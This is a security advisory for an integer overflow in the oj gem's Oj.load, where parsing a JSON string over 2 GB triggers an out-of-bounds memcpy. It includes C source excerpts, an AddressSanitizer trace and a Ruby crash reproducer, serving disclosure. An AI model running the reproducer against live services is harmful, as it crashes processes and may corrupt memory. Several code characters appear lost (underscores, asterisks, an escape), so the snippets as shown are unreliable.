CVE-2026-54903: Oj: Integer Overflow in Oj.load 2GB String Handling

Summary

Oj.load is vulnerable to heap corruption when parsing a JSON string longer than 2 GB. An integer overflow in bufappendstring (buf.h:61) converts the string length to a large negative sizet, causing memcpy to copy an astronomically large amount of data out of bounds. This crashes the process and can corrupt adjacent heap memory.

Version

- Software: oj gem - Affected: all versions with ext/oj/buf.h and ext/oj/parse.c - Latest tested: 3.17.1 (confirmed present)

Details

ext/oj/buf.h, line 61:

c inline static void bufappendstring(Buf buf, const char s, sizet slen) { // ... memcpy(buf->tail, s, slen); // slen derived from 32-bit int that wrapped negative

In parse.c, escape sequence handling computes the remaining string length as an int:

c // parse.c:402 (readescapedstr) int slen = (int)(s - str); // ← wraps to negative when string > 2 GB bufappendstring(buf, str, (sizet)slen); // ← (sizet)(-2147483648) = 0x80000000...

ASAN report: ==399019==ERROR: AddressSanitizer: negative-size-param: (size=-2147483648) #0 asanmemcpy #1 bufappendstring /ext/oj/buf.h:61 #2 readescapedstr /ext/oj/parse.c:402 #3 readstr /ext/oj/parse.c:542 #4 ojparse2 /ext/oj/parse.c:882 #5 ojpiparse /ext/oj/parse.c:1256 #6 ojobjectparse /ext/oj/object.c:701 #7 load /ext/oj/oj.c:1259 0x7f5a26ff0801 is located 1 bytes inside of 2147483657-byte region [0x7f5a26ff0800, 0x7f5aa6ff0809)

Reproduce

ruby require 'oj' n = 1 << 31 # 2 GB json = '"' + ('A' n) + 'A"' # >2GB JSON string with a trailing escape Oj.load(json)